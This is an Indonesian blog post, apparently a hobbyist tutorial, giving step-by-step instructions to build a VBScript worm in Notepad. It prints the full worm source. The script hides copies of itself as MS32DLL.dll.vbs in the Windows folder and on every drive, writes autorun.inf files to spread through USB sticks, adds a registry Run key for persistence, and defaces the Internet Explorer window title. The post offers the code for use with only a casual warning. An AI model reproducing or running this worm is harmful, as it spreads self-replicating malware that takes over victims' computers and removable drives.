Cara Membuat Virus Menggunakan Notepat

Sekilas info buat sobat semua, kemaren leptop saya kena virus lumayan berbayaha, dan setelah saya mutar alias ngacak-ngacak, ehhh malah dapat hikmahnya yaitu saya berhasil temukan kode virusnya, dan setelah saya coba, ternyata virusnya jalan cuma hanya menggunakan Notepat, mungkin ini juga berguna buat sobat sekalian, makanya kali ini Raja_Dihati coba bagikan buat sobat semua tentang cara pembuatan virus tsb, yuk langsung ke TKP :

• Buka Notepad
• Copy dan Paste skript Berikut:

------------------------------Skript Virus Badry Start---------------------------
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent VersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Zeke Hack"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname
---------------------------Skript Virus Badry End------------------------------

• Save as, ubah save as type menjadi "all files", simpan dengan format ".vbs", misal Hx.vbs.

Hati - hati BRO... kalau mau memakai virus ini , karna sangat berbahaya!!! dan ingat jangan asal ngerjain teman kalian soalnya ini lumayan berbahaya... sekian dan semoga bermanfaat, Wassalam.....